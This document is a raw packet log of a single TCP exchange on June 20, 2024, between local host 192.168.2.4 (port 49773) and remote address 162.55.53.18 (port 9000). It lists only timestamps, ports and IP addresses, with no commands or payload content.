Jun 20, 2024 06:49:26.054155111 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.054188013 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.054188967 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.054208994 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.054253101 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.054446936 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.061542034 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.061574936 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.061608076 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.061614990 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.061640978 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.061650991 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.061650991 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.061686039 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.061717987 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.061738014 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.061738014 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.061752081 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.061805964 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.074369907 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.074419975 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.074453115 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.074501991 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.074533939 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.074582100 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.074582100 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.074582100 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.074582100 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.074614048 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.074656010 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.074656010 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.074664116 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.074683905 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.074696064 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.074729919 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.074731112 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.074752092 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.074763060 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.074836016 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.074872017 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.074904919 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.074935913 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.074980974 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.074981928 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.074981928 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.074981928 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.075058937 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.076191902 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.076220989 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.076267958 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.076299906 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.076343060 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.076349020 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.076368093 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.076384068 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.076416016 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.076442003 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.076447964 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.076493979 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.076515913 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.079176903 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.079226971 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.079247952 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.079273939 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.079354048 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.079385996 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.079417944 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.079448938 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.079468966 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.079469919 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.079469919 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.079469919 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.079569101 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.084264040 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.084301949 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.084342003 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.084352016 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.084367037 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.084400892 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.084409952 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.084434986 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.084453106 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.084466934 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.084486008 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.084516048 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.084518909 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.084547997 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.084574938 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.084883928 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.090431929 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.090500116 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.090517998 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.090536118 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.090560913 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.090583086 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.090606928 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.090617895 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.090639114 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.090651035 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.090687037 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.090714931 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.090715885 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.090753078 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.090781927 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.095143080 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.095191956 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.095225096 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.095257044 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.095307112 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.095314980 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.095315933 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.095315933 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.095340967 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.095381021 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.095393896 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.095413923 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.095449924 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.095469952 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.098798037 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.098828077 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.098876953 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.098907948 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.098958015 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.098989964 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.099024057 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.099056959 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.099055052 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.099055052 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.099055052 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.099055052 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.099055052 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.099219084 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.099272013 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.101768017 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.101797104 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.101845026 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.101857901 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.101885080 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.101922989 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.101922989 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.101934910 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.101952076 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.101970911 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.101988077 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.102063894 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.102097034 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.102125883 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.102147102 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.107085943 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.107119083 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.107168913 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.107217073 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.107249975 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.107280970 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.107314110 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.107342958 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.107410908 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.107410908 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.107410908 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.107412100 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.110253096 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.110305071 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.110335112 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.110383034 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.110394001 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.110415936 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.110450029 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.110457897 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.110501051 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.110502958 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.110533953 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.110563040 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.110564947 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.110590935 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.110611916 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.116664886 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.116698027 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.116748095 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.116749048 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.116749048 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.116780043 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.116847038 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.116851091 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.116878986 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.116911888 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.116914034 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.116950989 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.116962910 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.116962910 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.117053986 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.122901917 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.122967005 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.122971058 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.123001099 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.123049021 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.123059988 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.123084068 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.123100042 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.123116970 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.123146057 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.123152971 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.123214006 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.136674881 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.136738062 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.136773109 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.136801958 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.136806965 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.136842012 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.136842012 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.136888027 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.136888027 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.136898041 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.136935949 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.136991978 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.146312952 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.146365881 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.146400928 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.146415949 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.146425962 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.146451950 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.146471024 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.146509886 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.146511078 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.146544933 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.146564960 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.146579027 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.146603107 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.146630049 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.153507948 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.153561115 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.153570890 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.153594971 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.153621912 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.153644085 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.153647900 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.153681040 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.153713942 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.153734922 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.153747082 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.153779030 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.153815985 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.166274071 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.166358948 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.166407108 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.166450024 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.166456938 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.166496992 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.166502953 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.166524887 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.166532040 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.166546106 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.166565895 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.166585922 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.166600943 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.166621923 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.166646004 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.166651011 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.166680098 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.166699886 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.166714907 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.166737080 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.166765928 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.166766882 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.166800976 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.166834116 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.166857004 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.166867018 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.166894913 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.166918039 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.168175936 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.168210983 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.168261051 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.168266058 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.168312073 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.168313026 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.168349981 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.168361902 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.168384075 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.168400049 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.168420076 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.168473005 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.171165943 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.171217918 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.171237946 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.171267986 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.171300888 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.171302080 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.171319962 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.171338081 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.171365023 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.171370983 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.171384096 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.171406031 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.171439886 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.171457052 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.171490908 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.176256895 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.176290989 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.176325083 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.176348925 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.176352978 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.176399946 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.176434040 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.176456928 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.176471949 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.176500082 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.176529884 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.176538944 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.176593065 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.182260990 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.182291985 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.182322025 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.182343960 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.182344913 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.182379007 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.182389021 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.182414055 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.182426929 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.182447910 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.182461023 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.182496071 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.182498932 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.182533979 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.182581902 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.186486959 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.186518908 CEST	9000	49773	162.55.53.18	192.168.2.4
